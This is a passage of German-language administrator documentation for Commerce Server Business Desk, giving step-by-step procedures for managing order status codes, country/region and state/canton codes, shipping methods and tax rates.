    Codename | Geben Sie einen Namen für den Bestellstatuscode ein.
    Beschreibung | Geben Sie eine Beschreibung für den Bestellstatuscode ein.
  4. Um den Bestellstatuscode zu speichern und mit der Eingabe neuer Bestellstatuscodes fortzufahren, klicken Sie auf der Symbolleiste auf Speichern und neuen Bestellstatuscode erstellen.

    Sie können nun den nächsten neuen Bestellstatuscode eingeben.

  5. Um die Bestellstatuscodes zu speichern und zum Bildschirm Bestellstatuscodes zurückzukehren, klicken Sie auf der Symbolleiste auf Speichern und zurück.

Siehe auch

Workflow für die Bestellverwaltung

Informationen zu Bestellungen

Verwalten von Bestellstatuscodes

Hinzufügen von Länder-/Regionalcodes

Hinzufügen von Codes für Bundesländer/Kantone


Hinzufügen von Länder-/Regionalcodes

Sie können durch Erstellung von Länder-/Regionalcodes die Länder/Regionen festlegen, die Benutzer beim Registrieren oder Bestellen von Produkten in die Website eingeben. Commerce Server umfasst mehrere standardmäßige Länder-/Regionalcodes.

Hinweise

  • Länder-/Regionalcodes müssen in die Commerce Server-Datenbank aufgenommen werden, bevor Sie die Codes für Bundesländer/Kantone für das betreffende Land oder die Region hinzufügen können. Wenn Sie versuchen, einen Code für ein Bundesland oder einen Kanton einzugeben, der zu einem noch nicht in der Datenbank erfassten Land oder einer noch nicht erfassten Region gehört, wird eine Fehlermeldung angezeigt.
  • Wenn Sie eine Anwendung eines Drittanbieters verwenden, die von einem Paketdienst zur Verfügung gestellt wird, erkundigen Sie sich dort nach den standardmäßig verwendeten Länder-/Regionalcodes, bevor Sie Ihrer Commerce Server-Datenbank Länder-/Regionalcodes hinzufügen.
  • Nach dem Hinzufügen eines Länder-/Regionalcodes muss der Systemadministrator auf jedem Webserver die Commerce Server-Anwendung aus dem Speicher nehmen (d. h. beenden und neu starten), damit die Änderungen wirksam werden. Weitere Informationen finden Sie unter Entfernen einer Anwendung aus dem Speicher.

So fügen Sie einen Länder-/Regionalcode hinzu

  1. Klicken Sie im Menü Bestellungen auf Standortcodes.
  2. Klicken Sie im Bildschirm Standortcodes: Standorttyp auf der Symbolleiste auf das Symbol Ansicht, wählen Sie in der Dropdownliste die Option Länder-/Regionalcodes aus, und klicken Sie dann auf der Symbolleiste auf Hinzufügen.
  3. Führen Sie im Bildschirm Standortcodes: Land/Region folgende Schritte aus:
    Funktion | Aktion
    Länder-Regionalcode | Geben Sie einen alphabetischen Code für das Land oder die Region ein. Länder-/Regionalcodes dürfen nicht länger als drei Zeichen sein.
    Angezeigter Name | Geben Sie den Landes- oder Regionsnamen ein.
    Beschreibung | Geben Sie, falls erforderlich, eine Beschreibung des Länder-/Regionalcodes ein.
  4. Um den Länder-/Regionalcode zu speichern und zum Bildschirm Standortcodes: Land/Region zurückzukehren, klicken Sie auf der Symbolleiste auf Speichern und zurück.

Der neue Länder-/Regionalcode wird im Bildschirm Standortcodes: Land/Region angezeigt.

Siehe auch

Workflow für die Bestellverwaltung

Informationen zu Bestellungen

Verwalten von Bestellstatuscodes

Hinzufügen von Codes für Bundesländer/Kantone


Hinzufügen von Codes für Bundesländer/Kantone

Codes für Bundesländer/Kantone werden zur Commerce Server-Datenbank hinzugefügt, um die Bundesländer und Kantone zu identifizieren, in die Bestellungen versendet werden. Die Codes für Bundesländer/Kantone identifizieren die Bundesländer und Kantone, die in der Website angezeigt werden.

Hinweise

  • Sie müssen einen Länder-/Regionalcode in die Commerce Server-Datenbank geben, bevor die entsprechenden Codes für Bundesländer/Kantone für das Land oder die Region hinzufügt werden können. Wenn Sie versuchen, einen Code für ein Bundesland oder einen Kanton einzugeben, der zu einem noch nicht in der Datenbank erfassten Land oder einer noch nicht erfassten Region gehört, werden Fehlermeldungen angezeigt. Weitere Informationen über das Hinzufügen von Länder-/Regionalcodes finden Sie unter Hinzufügen von Länder-/Regionalcodes.
  • Nach dem Hinzufügen eines Codes für Bundesländer-/Kantone muss der Systemadministrator auf jedem Webserver die Commerce Server-Anwendung aus dem Speicher nehmen (d. h. beenden und neu starten), damit die Änderungen wirksam werden. Weitere Informationen finden Sie unter Entfernen einer Anwendung aus dem Speicher.

So fügen Sie die Codes für Bundesländer/Kantone hinzu

  1. Klicken Sie im Menü Bestellungen auf Standortcodes.
  2. Klicken Sie im Bildschirm Standortcodes: Standorttyp auf der Symbolleiste auf das Symbol Ansicht, wählen Sie in der Dropdownliste die Option Codes für Bundesländer/Kantone aus, und klicken Sie dann auf der Symbolleiste auf Hinzufügen.
  3. Führen Sie im Bildschirm Standortcodes: Bundesland/Kanton folgende Schritte aus:
    Funktion | Aktion
    Code für Bundesland/Kanton | Geben Sie einen alphabetischen Code für das Bundesland bzw. den Kanton ein.
    Angezeigter Name | Geben Sie den Namen für das Bundesland bzw. den Kanton ein.
    Land/Region | Auswählen des Landes/der Region für das Bundesland bzw. den Kanton.
    Beschreibung | Geben Sie eine Beschreibung des Codes für Bundesländer/Kantone ein, falls erforderlich.
  4. Um die Änderungen zu speichern und zum Bildschirm Standortcodes: Bundesland/Kanton zurückzukehren, klicken Sie auf der Symbolleiste auf Speichern und zurück.

Der neue Code für Bundesländer/Kantone wird in der Commerce Server-Datenbank gespeichert.

Siehe auch

Workflow für die Bestellverwaltung

Informationen zu Bestellungen

Hinzufügen von Länder-/Regionalcodes

Verwalten von Bestellstatuscodes


Verwalten von Bestellstatuscodes

Mithilfe des Moduls "Bestellstatuscodes" von Commerce Server Business Desk können Sie Bestellstatuscodes verwalten, die in der Website angezeigt werden. Mit Bestellstatuscodes können Sie Bestellungen verfolgen, die von Benutzern abgegeben worden sind.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bearbeiten von Bestellstatuscodes
  • Löschen von Bestellstatuscodes


Bearbeiten von Bestellstatuscodes

Mithilfe des Moduls "Bestellstatuscodes" können Sie die Namen und die Beschreibungen von vorhandenen Bestellstatuscodes bearbeiten. Die eigentliche Codenummer kann jedoch nicht geändert werden.

Hinweise

  • Sie können nicht die eigentliche Codenummer im Feld Code bearbeiten. Wenn Sie die Codenummer ändern möchten, müssen Sie den Bestellstatuscode löschen und einen neuen erstellen, der die erforderliche Änderung im Feld Code enthält.
  • Wenn Sie einen Bestellstatuscode geändert haben, müssen Sie den Systemadministrator bitten, die Site mit dem neuen Code zu aktualisieren.

So bearbeiten Sie einen Bestellstatuscode

  1. Klicken Sie im Menü Bestellungen auf Bestellstatuscodes.
  2. Wählen Sie im Bildschirm Bestellstatuscodes den Bestellstatuscode, den Sie bearbeiten möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Geben Sie im Bildschirm Bestellstatuscodes: Bestellstatuscode Folgendes ein:
    Funktion | Aktion
    Codename | Geben Sie einen neuen Namen für den Bestellstatuscode ein.
    Beschreibung | Geben Sie eine neue Beschreibung für den Bestellstatuscode ein.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Bestellstatuscodes zurückzukehren.

Der bearbeitete Bestellstatuscode wird nun gespeichert.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Bestellstatuscodes

Löschen von Bestellstatuscodes


Löschen von Bestellstatuscodes

Mithilfe des Moduls "Bestellstatuscodes" können Sie vorhandene Bestellstatuscodes löschen. Das ist z. B. praktisch, wenn Sie zur Identifizierung eines bestimmten Objekts keinen Bestellstatuscode benötigen.

Hinweise

  • Nachdem ein Bestellstatuscode gelöscht worden ist, kann er nicht mehr wiederhergestellt werden. Wenn Sie einen gelöschten Bestellstatuscode wieder benötigen, müssen Sie ihn neu erstellen.
  • Wenn Sie einen Bestellstatuscode löschen, müssen Sie den Systemadministrator bitten, die Site zu aktualisieren, damit der Code entfernt wird.

So löschen Sie einen Bestellstatuscode

  1. Klicken Sie im Menü Bestellungen auf Bestellstatuscodes.
  2. Wählen Sie im Bildschirm Bestellstatuscodes den Bestellstatuscode, den Sie löschen möchten, und klicken Sie dann auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Bestellstatuscodes zur Bestätigung auf OK.

Der Bestellstatuscode wird nun in der Site gelöscht.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Bestellstatuscodes

Bearbeiten von Bestellstatuscodes


Verwalten von Standortcodes

Mithilfe des Moduls "Standortcodes" können Sie Länder-/Regionalcodes sowie Codes für Bundesländer/Kantone verwalten, mit denen Versand- und Rechnungsadressen angegeben werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bearbeiten von Länder-/Regionalcodes
  • Bearbeiten von Codes für Bundesländer/Kantone
  • Löschen von Länder-/Regionalcodes
  • Löschen von Codes für Bundesländer/Kantone


Bearbeiten von Länder-/Regionalcodes

Mit dem Modul "Standortcodes" können Sie die Namen und Beschreibungen bestehender Länder-/Regionalcodes bearbeitet werden.

Hinweise

  • Sie können nicht die eigentliche Codenummer im Feld Code bearbeiten. Wenn Sie die Codenummer ändern möchten, müssen Sie den ganzen Länder-/Regionalcode löschen und einen neuen erstellen, der die erforderliche Änderung im Feld Code enthält.
  • Wenn Sie einen Länder-/Regionalcode geändert haben, müssen Sie den Systemadministrator bitten, die Site mit dem neuen Code zu aktualisieren.

So bearbeiten Sie einen Länder-/Regionalcode

  1. Klicken Sie im Menü Bestellungen auf Standortcodes.
  2. Klicken Sie im Bildschirm Standortcodes: Standorttyp auf der Symbolleiste auf Ansicht, und wählen Sie dann in der Dropdownliste die Option Länder-/Regionalcodes aus.
  3. Wählen Sie den Länder-/Regionalcode aus, den Sie bearbeiten möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  4. Führen Sie im Bildschirm Länder-/Regionalcodes – Land/Region folgende Schritte aus:
    Funktion | Aktion
    Angezeigter Name | Geben Sie den Landes- oder Regionsnamen ein.
    Beschreibung | Geben Sie, falls erforderlich, eine Beschreibung des Länder-/Regionalcodes ein.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Länder-/Regionalcodes zurückzukehren.

Der bearbeitete Länder-/Regionalcode wird nun gespeichert.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Länder-/Regionalcodes

Löschen von Länder-/Regionalcodes


Bearbeiten von Codes für Bundesländer/Kantone

Mit dem Modul "Standortcodes" können die Namen und Beschreibungen von vorhandenen Codes für Bundesländer/Kantone bearbeitet.

Hinweise

  • Sie können nicht die eigentliche Codenummer im Feld Code bearbeiten. Wenn Sie die Codenummer ändern möchten, müssen Sie den Code für Bundesland/Kanton löschen und einen neuen erstellen, welcher die erforderliche Änderung im Feld Code enthält.
  • Wenn Sie einen Code für ein Bundesland oder einen Kanton geändert haben, müssen Sie den Systemadministrator bitten, die Site mit dem neuen Code zu aktualisieren.

So bearbeiten Sie den Code für Bundesland/Kanton

  1. Klicken Sie im Menü Bestellungen auf Standortcodes.
  2. Klicken Sie im Bildschirm Standortcodes: Standorttyp auf der Symbolleiste auf Anzeigen, und wählen Sie dann in der Dropdownliste die Option Codes für Bundesländer/Kantone aus.

    Hinweis

    • Als Name des Business Desk-Bildschirms wird der zuletzt ausgewählte Datencode verwendet. Wenn beispielsweise zuletzt Bestellstatuscodes ausgewählt wurden, lautet der Name des Business Desk-Bildschirms Bestellstatuscodes.
  3. Wählen Sie den Code für Bundesländer/Kantone aus, den Sie bearbeiten möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  4. Führen Sie im Bildschirm Codes für Bundesländer/Kantone – Bundesland/Kanton folgende Schritte aus:
    Funktion | Aktion
    Angezeigter Name | Geben Sie den Namen des Bundeslandes bzw. des Kantons ein.
    Beschreibung | Geben Sie eine Beschreibung des Codes für Bundesländer/Kantone ein, falls erforderlich.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Codes für Bundesländer/Kantone zurückzukehren.

Der bearbeitete Code für Bundesland/Kanton wird nun gespeichert.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Codes für Bundesländer/Kantone

Löschen von Codes für Bundesländer/Kantone


Löschen von Länder-/Regionalcodes

Mit dem Modul "Standortcodes" können Sie vorhandene Länder-/Regionalcodes löschen. Das ist praktisch, wenn Sie Ihre Produkte z. B. nicht in ein bestimmtes Land oder eine bestimmte Region ausliefern und nicht möchten, dass dies Benutzern als Option vermittelt wird.

Hinweise

  • Wenn Sie einen Länder-/Regionalcode löschen, werden ebenso alle diesem Land bzw. dieser Region zugeordneten Codes für Bundesländer/Kantone gelöscht.
  • Nachdem ein Länder-/Regionalcode gelöscht wurde, kann er nicht mehr wiederhergestellt werden. Wenn Sie den gelöschten Länder-/Regionalcode wieder benötigen, müssen Sie ihn neu erstellen.
  • Wenn Sie eine Länder-/Regionalcode löschen, müssen Sie den Systemadministrator bitten, die Site zu aktualisieren, damit der Code entfernt wird.

So löschen Sie einen Länder-/Regionalcode

  1. Klicken Sie im Menü Bestellungen auf Standortcodes.
  2. Klicken Sie im Bildschirm Standortcodes: Standorttyp auf der Symbolleiste auf Ansicht, und wählen Sie dann in der Dropdownliste die Option Länder-/Regionalcodes aus.
  3. Wählen Sie den Länder-/Regionalcode aus, den Sie löschen möchten, und klicken Sie dann auf der Symbolleiste auf Löschen.
  4. Klicken Sie im Dialogfeld Verwandte Codes löschen auf OK.
  5. Klicken Sie im Dialogfeld Länder-/Regionalcodes auf OK.

Der Länder-/Regionalcode wird nun in der Site gelöscht.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Länder-/Regionalcodes

Bearbeiten von Länder-/Regionalcodes


Löschen von Codes für Bundesländer/Kantone

Mit dem Modul "Standortcodes" können Sie vorhandene Codes für Bundesländer/Kantone löschen. Das ist praktisch, wenn Sie Ihre Produkte z. B. nicht in ein bestimmtes Bundesland oder in einen bestimmten Kanton ausliefern und nicht möchten, dass dies Benutzern als Option vermittelt wird.

Hinweise

  • Nachdem ein Code für Bundesländer/Kantone gelöscht wurde, kann er nicht mehr wiederhergestellt werden. Wenn Sie den gelöschten Code für Bundesländer/Kantone wieder benötigen, müssen Sie ihn neu erstellen.
  • Nach dem Löschen eines Codes für Bundesländer-/Kantone muss der Systemadministrator auf jedem Webserver die Commerce Server-Anwendung aus dem Speicher entfernen (d. h. beenden und neu starten), damit die Änderungen wirksam werden. Weitere Informationen finden Sie unter Entfernen einer Anwendung aus dem Speicher.

So löschen Sie einen Code für Bundesländer/Kantone

  1. Klicken Sie im Menü Bestellungen auf Standortcodes.
  2. Klicken Sie im Bildschirm Standortcodes: Standorttyp auf der Symbolleiste auf Ansicht, und wählen Sie dann in der Dropdownliste die Option Codes für Bundesländer/Kantone aus.
  3. Wählen Sie im Bildschirm Codes für Bundesländer/Kantone den zu löschenden Code aus, und klicken Sie auf der Symbolleiste auf Löschen.
  4. Klicken Sie im Dialogfeld Codes für Bundesländer/Kantone auf OK.

Der Code wird nun in der Site gelöscht.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Codes für Bundesländer/Kantone

Bearbeiten von Codes für Bundesländer/Kantone


Anpassen von Versandarten

Mithilfe des Versandartenmoduls von Commerce Server Business Desk können Sie Versandarten nach Bedarf anpassen, die in der Website angezeigt werden.

Beachten Sie folgende Anforderungen:

  • Damit ein Benutzer in der Website eine Bestellung aufgeben kann, muss wenigstens eine Versandart zur Verfügung stehen.
  • Bevor eine Versandart in der Website in einer von der Standardsprache des Servers abweichenden Sprache angezeigt werden kann, müssen Sie die mit der Versandart verknüpfte Sprache auswählen.
  • Wenn Sie weitere Versandarten benötigen oder einen Paketdienst beauftragen (z. B. UPS oder DHL), der die Anwendung eines Drittanbieters zur Verfügung stellt, wenden Sie sich an Ihren Systemadministrator, um Hilfe zu erhalten.
  • Wenn Sie eine Anwendung eines Drittanbieters verwenden, die von einem Paketdienst zur Verfügung gestellt wird, sollten Sie sich mit diesem in Verbindung setzen und sich nach den dort standardmäßig verwendeten Länder-/Regionalcodes erkundigen, bevor Sie Ihrer Commerce Server-Datenbank Länder-/Regionalcodes hinzufügen.

Versanddienstleistungen können in der Website in mehreren Sprachen zur Verfügung gestellt werden. Mithilfe des Versandartenmoduls können Sie in Commerce Server Business Desk mehrsprachige Versandarten und Beschreibungen eingeben.

Commerce Server Business Desk unterstützt drei Versandarten:

  • Gebühr nach Gewicht. Mit dieser Methode können Sie die Frachtkosten nach dem Gewicht einer Bestellung in Rechnung stellen. Diese Methode wird verwendet, um Gebühren für bestimmte Gewichtsgruppen festzulegen.
  • Gebühr nach Menge. Verwenden Sie diese Methode, um die Frachtkosten nach der Anzahl der bestellten Artikel festzulegen. Sie können die Gebühr für eine genaue Zahl oder für einen Mengenbereich von Artikeln festlegen.
  • Gebühr nach Zwischensumme. Verwenden Sie diese Methode, um die Frachtkosten nach der Zwischensumme, d. h. dem Bestellwert, in Rechnung zu stellen.

Sie können die Eigenschaften einer ausgewählten Versandart jederzeit ändern. Wenn sich z. B. die Frachtkosten ändern, können Sie die Kosten pro Versandart entsprechend ändern.

Wenn Sie Paketdienste wie UPS oder Federal Express, die mehrere Versandoptionen anbieten, oder einen Paketdienst beauftragen, dessen Frachtsätze nach Gewicht und Zone berechnet werden (z. B. UPS), dann müssen Sie die Pipelinekomponente dieses Paketdienstes verwenden.

Hinweise

  • Nach dem Hinzufügen einer Versandart müssen Sie die Site mithilfe des Moduls "Bestellcodes veröffentlichen" aktualisieren. Weitere Informationen über das Veröffentlichen von Bestellcodes finden Sie unter Veröffentlichen von Bestellcodes in der Website.
  • Um eine Gebühr nach Gewicht zu erheben, müssen alle Produkte im Katalog die Produkteigenschaft "Gewicht" aufweisen. Wenn Sie Produkte haben, für die keine Gewichtsangaben festgelegt sind, wird diese Option in Ihrer Website nicht einwandfrei funktionieren. Weitere Informationen über das Hinzufügen von Produktdefinitionen finden Sie unter Hinzufügen einer Produktdefinition.

So fügen Sie eine mehrsprachige Versandart hinzu

So fügen Sie die Versandart "Gebühr nach Gewicht" hinzu

So fügen Sie die Versandart "Gebühr nach Menge" hinzu

So fügen Sie die Versandart "Gebühr nach Zwischensumme" hinzu

So bearbeiten Sie Versandarteigenschaften

So fügen Sie eine mehrsprachige Versandart hinzu

  1. Klicken Sie im Menü Bestellungen auf Versandarten.
  2. Klicken Sie im Bildschirm Versandarten auf der Symbolleiste auf Sprache, und wählen Sie anschließend in der Dropdownliste die mit der Versandart verknüpfte Sprache aus.
  3. Klicken Sie im Bildschirm Versandarten auf der Symbolleiste auf Hinzufügen. Wählen Sie anschließend in der Dropdownliste die gewünschte Versandart aus.
  4. Führen Sie im Bildschirm Nach Versandart berechnen – Neu im Bereich Versandarteigenschaften folgende Schritte aus:
    Funktion | Aktion
    Sprache Auswählen der mit der Versandart verknüpften Sprache in der Dropdownliste.

    Hinweis

    • Wenn Sie die mit dieser Versandart verknüpfte Sprache zuvor im Bildschirm Versandarten bereits ausgewählt haben, können Sie diesen Schritt übergehen.
    Name | Eingeben eines Namens für die Versandart.
    Beschreibung | Eingeben einer Beschreibung der Versandart.
    Aktiviert | Aktivieren Sie dieses Kontrollkästchen, um die Versandart zur Verfügung zu stellen. Wenn Sie die Versandart nicht aktivieren, wird sie nicht in der Website angezeigt.
  5. Klicken Sie im Bereich Tarife auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Versandartname bis zu | Eingeben der Höchstmenge für die entsprechende Versandart.
    Versandkosten | Eingeben des Versandkostenbetrags.
  6. Klicken Sie auf Annehmen.
  7. Nachdem Sie alle Versandkosten eingegeben haben, klicken Sie auf die letzte Zeile der Gebührenliste, die den Text über eingegebene Höchstmenge enthält, und klicken Sie dann auf Bearbeiten.

    Wichtig

    • Sie müssen die letzte Zeile unter Tarife bearbeiten, um die Versandart speichern zu können.
  8. Geben Sie den höchsten Tarif für diese Versandart ein, und klicken Sie dann auf Übernehmen.
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Versandart zu speichern und zum Bildschirm Versandarten zurückzukehren.

Die Versandart wird nun gespeichert.

So fügen Sie die Versandart "Gebühr nach Gewicht" hinzu

  1. Klicken Sie im Menü Bestellungen auf Versandarten.
  2. Klicken Sie im Bildschirm Versandarten auf der Symbolleiste auf Hinzufügen, und wählen Sie dann in der Dropdownliste die Option Gebühr nach Gewicht aus.
  3. Führen Sie im Bildschirm Nach Gewicht berechnen – Neu im Bereich Versandarteigenschaften folgende Schritte aus:
    Funktion | Aktion
    Sprache | Auswählen der Sprache, die mit der Versandart verknüpft ist.
    Name | Eingeben eines Namens für die Versandart.
    Beschreibung | Eingeben einer Beschreibung der Versandart.
    Aktiviert | Aktivieren Sie dieses Kontrollkästchen, um die Versandart zur Verfügung zu stellen. Wenn Sie die Versandart nicht aktivieren, wird sie nicht in der Website angezeigt.
  4. Klicken Sie im Bereich Tarife auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Gewicht bis zu | Eingeben eines Höchstgewichts für den betreffenden Tarif.
    Versandkosten | Eingeben des Versandkostenbetrags.
  5. Klicken Sie auf Annehmen.
  6. Nachdem Sie alle Tarife eingegeben haben, klicken Sie auf die letzte Zeile der Gebührenliste, die den Text über eingegebenes Höchstgewicht enthält, und klicken Sie dann auf Bearbeiten.

    Wichtig

    • Sie müssen die letzte Zeile unter Tarife bearbeiten, um die Versandart speichern zu können.
  7. Geben Sie den höchsten Tarif für diese Versandart ein, und klicken Sie dann auf Übernehmen.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Versandart zu speichern und zum Bildschirm Versandarten zurückzukehren.

Die Versandart "Gebühr nach Gewicht" ist damit gespeichert.

So fügen Sie die Versandart "Gebühr nach Menge" hinzu

  1. Klicken Sie im Menü Bestellungen auf Versandarten.
  2. Klicken Sie im Bildschirm Versandarten auf der Symbolleiste auf Hinzufügen, und wählen Sie dann in der Dropdownliste die Option Gebühr nach Menge aus.
  3. Führen Sie im Bildschirm Nach Menge berechnen – Neu im Bereich Versandarteigenschaften folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie die Sprache aus, die mit der Versandart verknüpft ist.
    Name | Geben Sie einen Namen für die Versandart ein.
    Beschreibung | Geben Sie eine Beschreibung der Versandart ein.
    Aktiviert | Aktivieren Sie dieses Kontrollkästchen, um die Versandart zur Verfügung zu stellen. Wenn Sie die Versandart nicht aktivieren, wird sie nicht in der Website angezeigt.
  4. Klicken Sie im Bereich Tarife auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Menge bis zu | Geben Sie die Höchstmenge für den entsprechenden Tarif ein.
    Versandkosten | Geben Sie den Versandkostenbetrag ein.
  5. Klicken Sie auf Annehmen.
  6. Nachdem Sie alle Versandkosten eingegeben haben, klicken Sie auf die letzte Zeile der Gebührenliste, die den Text über eingegebene Höchstmenge enthält, und klicken Sie dann auf Bearbeiten.

    Wichtig

    • Sie müssen die letzte Zeile unter Tarife bearbeiten, um die Versandart speichern zu können.
  7. Geben Sie den höchsten Tarif für diese Versandart ein, und klicken Sie dann auf Übernehmen.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Versandart zu speichern und zum Bildschirm Versandarten zurückzukehren.

Die Versandart "Gebühr nach Menge" ist damit gespeichert.

So fügen Sie die Versandart "Gebühr nach Zwischensumme" hinzu

  1. Klicken Sie im Menü Bestellungen auf Versandarten.
  2. Klicken Sie im Bildschirm Versandarten auf der Symbolleiste auf Hinzufügen, und wählen Sie dann in der Dropdownliste die Option Gebühr nach Zwischensumme aus.
  3. Führen Sie im Bildschirm Nach Zwischensumme berechnen – Neu im Bereich Versandarteigenschaften folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie die Sprache aus, die mit der Versandart verknüpft ist.
    Name | Geben Sie die Versandart ein.
    Beschreibung | Geben Sie die Beschreibung der Versandart ein.
    Aktiviert | Aktivieren Sie dieses Kontrollkästchen, um die Versandart zur Verfügung zu stellen. Wenn Sie die Versandart nicht aktivieren, wird sie nicht in der Website angezeigt.
  4. Klicken Sie im Bereich Tarife auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Preis bis zu | Geben Sie die höchstzulässige Zwischensumme für den betreffenden Tarif ein.
    Versandkosten | Geben Sie den Versandkostenbetrag ein.
  5. Klicken Sie auf Annehmen.
  6. Nachdem Sie alle Versandkosten eingegeben haben, klicken Sie auf die letzte Zeile der Gebührenliste, die den Text über eingegebene Höchstsumme enthält, und klicken Sie dann auf Bearbeiten.

    Wichtig

    • Sie müssen die letzte Zeile unter Tarife bearbeiten, um die Versandart speichern zu können.
  7. Geben Sie den höchsten Tarif für diese Versandart ein, und klicken Sie dann auf Übernehmen.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Versandart zu speichern und zum Bildschirm Versandarten zurückzukehren.

Die Versandart "Gebühr nach Zwischensumme" ist damit gespeichert.

So bearbeiten Sie Versandarteigenschaften

  1. Klicken Sie im Menü Bestellungen auf Versandarten.
  2. Wählen Sie im Bildschirm Versandarten die Versandart, die Sie bearbeiten möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Bearbeiten Sie im Bildschirm Gebühr nach Art: Versandartname öffnen die Eigenschaften der Versandart.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Versandarten zurückzukehren.

Die bearbeitete Versandart wird nun gespeichert.

Siehe auch

Workflow für die Bestellverwaltung

Informationen zu Bestellungen

Hinzufügen von Steuersätzen

Veröffentlichen von Bestellcodes in einer Website


Hinzufügen von Steuersätzen

Mithilfe des Steuersatzmoduls in Commerce Server Business Desk können Sie die Steuersätze unterschiedlicher Länder/Regionen und Bundesländer/Kantone hinzufügen.

Hinweise

  • Die Codes für Länder/Regionen und Bundesländer/Kantone müssen eingerichtet sein, bevor Steuersätze hinzugefügt werden können. Weitere Informationen über das Hinzufügen von Codes für Länder/Regionen und Bundesländer/Kantone erhalten Sie unter Hinzufügen von Länder-/Regionalcodes und Hinzufügen von Codes für Bundesländer/Kantone.
  • Ein Steuersatz, der für ein bestimmtes Bundesland oder einen bestimmten Kanton festgelegt wird, besitzt eine höhere Priorität als ein global für alle Bundesländer/Kantone eines Landes oder einer Region festgelegter Steuersatz.
  • Nach dem Hinzufügen eines Steuersatzes müssen Sie die Site mithilfe des Moduls "Bestellcodes veröffentlichen" aktualisieren. Weitere Informationen über das Veröffentlichen von Bestellcodes finden Sie unter Veröffentlichen von Bestellcodes in der Website.

So fügen Sie einen Steuersatz hinzu

  1. Klicken Sie im Menü Bestellungen auf Steuersätze.
  2. Klicken Sie im Bildschirm Steuer auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Land/Region | Wählen Sie ein Land/eine Region in der Dropdownliste aus.
    Bundesland/Kanton | Auswählen eines Bundeslandes oder eines Kantons in der Dropdownliste.
    Steuersatz | Geben Sie einen Steuersatz in Prozent mithilfe einer Dezimalzahl ein. Ein Steuersatz von 8,6% wird beispielsweise mit 8,6 eingegeben.
  3. Klicken Sie auf Annehmen.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Steuersatz zu speichern und zum Business Desk-Startbildschirm zurückzukehren.

Der Steuersatz wird nun gespeichert.

Siehe auch

Workflow für die Bestellverwaltung

Informationen zu Bestellungen

Verwalten von Steuersätzen

Veröffentlichen von Bestellcodes in einer Website


Verwalten von Steuersätzen

Die einzelnen Bundesländer/Kantone und Länder/Regionen haben unterschiedliche Steuersätze, und manche erheben überhaupt keine Steuer. Mithilfe des Steuersatzmoduls in Commerce Server Business Desk können Sie die Steuersätze unterschiedlicher Länder/Regionen und Bundesländer/Kantone hinzufügen, bearbeiten und löschen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bearbeiten von Steuersätzen
  • Löschen von Steuersätzen


Bearbeiten von Steuersätzen

Mit dem Modul "Steuersatz" können Sie vorhandene Steuersätze im Fall von Änderungen bearbeiten.

So bearbeiten Sie einen Steuersatz

  1. Klicken Sie im Menü Bestellungen auf Steuersätze.
  2. Wählen Sie den zu bearbeitenden Steuersatz, und klicken Sie dann auf Bearbeiten.
  3. Bearbeiten Sie den Steuersatz, und klicken Sie dann auf Übernehmen.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Business Desk-Startbildschirm zurückzukehren.

Der bearbeitete Steuersatz wird nun gespeichert.

Hinweis

  • Zum Aktualisieren der Site müssen Sie das Modul "Bestellcodes veröffentlichen" verwenden. Weitere Informationen über das Veröffentlichen von Bestellcodes finden Sie unter Veröffentlichen von Bestellcodes in der Website.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Steuersätzen

Löschen von Steuersätzen

Veröffentlichen von Bestellcodes in einer Website


Löschen von Steuersätzen

Mit dem Modul "Steuersatz" können Sie vorhandene Steuersätze löschen.

So löschen Sie einen Steuersatz

  1. Klicken Sie im Menü Bestellungen auf Steuersätze.
  2. Wählen Sie den zu löschenden Steuersatz, und klicken Sie dann auf Entfernen.
  3. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Business Desk-Startbildschirm zurückzukehren.

Der Steuersatz wird nun in der Site gelöscht.

Vorsicht

  • Nachdem ein Steuersatz gelöscht worden ist, kann er nicht mehr wiederhergestellt werden. Wenn Sie diesen Steuersatz wieder benötigen, müssen Sie ihn neu erstellen.

Hinweis

  • Zum Aktualisieren der Site müssen Sie das Modul "Bestellcodes veröffentlichen" verwenden. Weitere Informationen über das Veröffentlichen von Bestellcodes finden Sie unter Veröffentlichen von Bestellcodes in der Website.

Siehe auch

Informationen zu Bestellungen

Hinzufügen von Steuersätzen

Bearbeiten von Steuersätzen

Veröffentlichen von Bestellcodes in einer Website


Veröffentlichen von Bestellcodes in einer Website

